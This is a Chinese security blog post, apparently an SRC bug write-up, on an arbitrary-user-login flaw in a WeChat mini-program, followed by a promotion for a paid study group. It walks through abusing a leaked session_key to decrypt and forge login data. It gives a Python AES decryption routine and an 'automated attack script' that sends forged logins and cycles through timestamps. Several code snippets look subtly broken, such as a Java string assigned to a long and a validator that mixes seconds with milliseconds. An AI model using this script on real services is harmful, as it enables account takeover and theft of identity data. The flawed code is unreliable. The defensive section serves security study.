【SRC】某选课小程序任意用户登录漏洞深度剖析
【SRC】某选课小程序任意用户登录漏洞深度剖析
原创 ashui Rot5pider安全团队 2025-04-22 00:35
某小程序任意用户登录漏洞深度剖析
一、漏洞场景复现
(一)漏洞复现
- 目标系统
:某金融类小程序(版本V2.3.1)
1. 测试工具
:Burp Suite Pro v1.8.4 + WechatDevTools v1.18.0
-
关键参数
: -
encryptedData
:AES-CBC加密的用户敏感数据 -
iv
:16字节初始化向量 -
jsCode
:微信登录临时凭证(有效期5分钟) -
缺失参数:session_key
(会话密钥)
1、抓包,发现有encryptedData和iv,但少了sessionkey,却多了jsCode等巴拉巴拉的参数和参数值。
发现appletLoginAuthUri所需要的参数,正好都一并泄露了,传入值,访问后 嗯,这不是正缺少的sessionkey吗
使用bp的插件进行解密,发现sessionkey和iv和密文都是正确的,可以成功解出明文。
重新生成密文,替换为原来的请求包,但是一直无法登录成功(没截图)猜测是时间戳的问题 重复原来的操作,并替换时间戳。
到此成功登录。
二、漏洞原理分析
(一)加密链路缺陷
- 前端暴露密钥要素
通过小程序逆向工程发现:
// wx.login接口明文返回jsCode
wx.login({
success(res) {
console.log(res.code); // 直接暴露jsCode
}
});
- 后端响应泄露密钥材料
抓取登录接口响应包:
HTTP/1.1 200 OK
Content-Type: application/json
{
"encryptedData": "...",
"iv": "...",
"session_key": "0123456789abcdef0123456789abcdef" // 核心密钥泄露
}
(二)攻击链路推演
graph TD
A[获取jsCode] --> B[构造虚假登录请求]
B --> C{后端响应}
C -->|包含session_key| D[解密encryptedData]
D --> E[伪造完整会话]
E --> F[绕过实名认证]
三、漏洞利用实战
(一)密钥重组
- AES-CBC参数准备
from Crypto.Cipher import AES
import base64
def decrypt(session_key, iv, encrypted_data):
cipher = AES.new(session_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(base64.b64decode(encrypted_data))
return decrypted.decode('utf-8')
- 时间戳同步突破
发现服务端时间校验逻辑:
// 后端时间校验代码片段
long clientTime = request.getHeader("X-Timestamp");
if (Math.abs(clientTime - System.currentTimeMillis()) > 300000) {
throw new InvalidTimestampException();
}
(二)自动化攻击脚本
import requests
import time
TARGET_URL = "https://api.wechat-loan.com/login"
HEADERS = {
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.36",
"X-Requested-With": "XMLHttpRequest"
}
def exploit():
# 获取当前时间戳(毫秒)
timestamp = int(time.time() * 1000)
# 构造恶意请求
payload = {
"jsCode": "023f4a5b6c8d9e0f1a2b3c4d5e6f7a8b9c",
"encryptedData": "CvYyQ2...",
"iv": "XyZwVu...",
"timestamp": timestamp
}
# 发送请求
response = requests.post(TARGET_URL, json=payload, headers=HEADERS)
# 时间戳修正循环
while "invalid timestamp" in response.text.lower():
timestamp += 1000 # 毫秒级微调
payload["timestamp"] = timestamp
response = requests.post(TARGET_URL, json=payload, headers=HEADERS)
return response.json()
if __name__ == "__main__":
session = exploit()
print("Session Token:", session.get("token"))
四、漏洞危害评估
(一)攻击面分析
-
数据窃取链路
-
用户实名信息(姓名/身份证号)
-
微信绑定手机号
-
设备硬件特征码
-
通过encryptedData
可解析出: -
业务风险场景
-
绕过风控策略批量注册虚假账号
-
操纵高价值账户进行非法转账
-
结合短信嗅探实现完整账户接管
五、防御体系重构建议
(一)加密机制升级
-
密钥管理体系
-
采用ECDH密钥协商协议动态生成session_key
-
实现密钥轮转机制(每7天更换)
-
加密算法强化
// 推荐加密方案(Java实现)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));
(二)时间戳防御矩阵
- 时钟回拨防护
# 服务端时间校验逻辑
def validate_timestamp(client_ts):
server_ts = time.time()
if abs(server_ts - client_ts) > 5 * 60:
raise TimeAttackDetected()
if client_ts < (server_ts - 300):
raise TimestampBacktrackDetected()
- 时区标准化处理
强制所有请求携带X-Timezone
头并进行UTC时间校准。
六、总结与启示
本案例揭示了典型移动端安全三大黑洞:
1. 加密组件滥用
:AES-CBC模式缺乏完整性保护
-
时间校验缺失
:5分钟时间窗口足以实施暴力破解 -
敏感参数泄露
:前端暴露关键密钥要素
建议企业立即开展:
1. 小程序专项安全审计(每季度一次)
-
建立API参数黑白名单管控机制
-
部署RASP实时攻击检测系统
【限时
6
折!华普安全研究星球:以
原创实战
为主+SRC/内网渗透核心资源库,助你在漏洞挖掘、SRC挖掘少走90%弯路】当90%的网络安全学习者还在重复刷题、泡论坛找零散资料时,华普安全研究星球已构建起完整的「攻防实战知识生态」:
✅ 原创深度技术文档(独家SRC漏洞报告/代码审计报告)
✅ 实战中使用到的工具分享
✅ 全年更新SRC挖掘、代码审计报告(含最新0day验证思路)
✅ 漏洞挖掘思维导图
✅内部知识库目前建设中、后续进入圈子免费进入
【
实战为王
】不同于传统课程的纸上谈兵!!
后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~
有任何问题可后台留言
往期精选
围观
丨更多
热文
丨更多
·end·
—如果喜欢,快分享给你的朋友们吧—
我们一起愉快的玩耍吧
【免责声明】
“Rot5pider安全团队”作为专注于信息安全技术研究的自媒体平台,致力于传播网络安全领域的前沿知识与防御技术。本平台所载文章、工具及案例均用于合法合规的技术研讨与安全防护演练,严禁任何形式的非法入侵、数据窃取等危害网络安全的行为。所有技术文档仅代表作者研究过程中的技术观察,不构成实际操作建议,更不作为任何法律行为的背书。